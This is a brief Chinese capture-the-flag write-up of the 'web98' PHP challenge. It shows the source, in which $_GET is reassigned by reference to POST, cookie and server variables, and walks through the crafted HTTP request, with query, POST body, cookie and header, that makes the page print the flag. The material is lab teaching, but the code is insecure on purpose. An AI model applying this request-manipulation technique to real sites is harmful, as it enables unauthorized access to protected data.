PHP特性 web98
源码如下
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
第一行:若$_GET存在,将$_GET设为$_POST的引用(&符号表示引用)
传入/?a=1令条件成立
第二行:此时$_GET已指向$_POST,故实际检查$_POST['flag']是否为'flag'
POST传入 flag=flag
第三层:$_GET指向$_COOKIE,则检查$_COOKIE['flag']是否为'flag',若满足,将$_GET改为$_SERVER`的引用
通过cookie传入flag=flag
最后检查$_GET['HTTP_FLAG']的值是否为'flag'
满足返回flag
此时$_GET指向$_SERVER,因此$_GET['HTTP_FLAG']对应$_SERVER['HTTP_FLAG']。
$SERVER['HTTP*']存储请求头信息,需在请求头中添加Flag: flag`。
POST /?a=1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: flag=flag
FLAG: flag
flag=flag

浙公网安备 33010602011771号